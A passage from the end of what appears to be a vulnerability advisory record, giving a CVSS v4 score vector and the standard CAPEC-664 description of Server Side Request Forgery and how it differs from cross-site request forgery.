      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.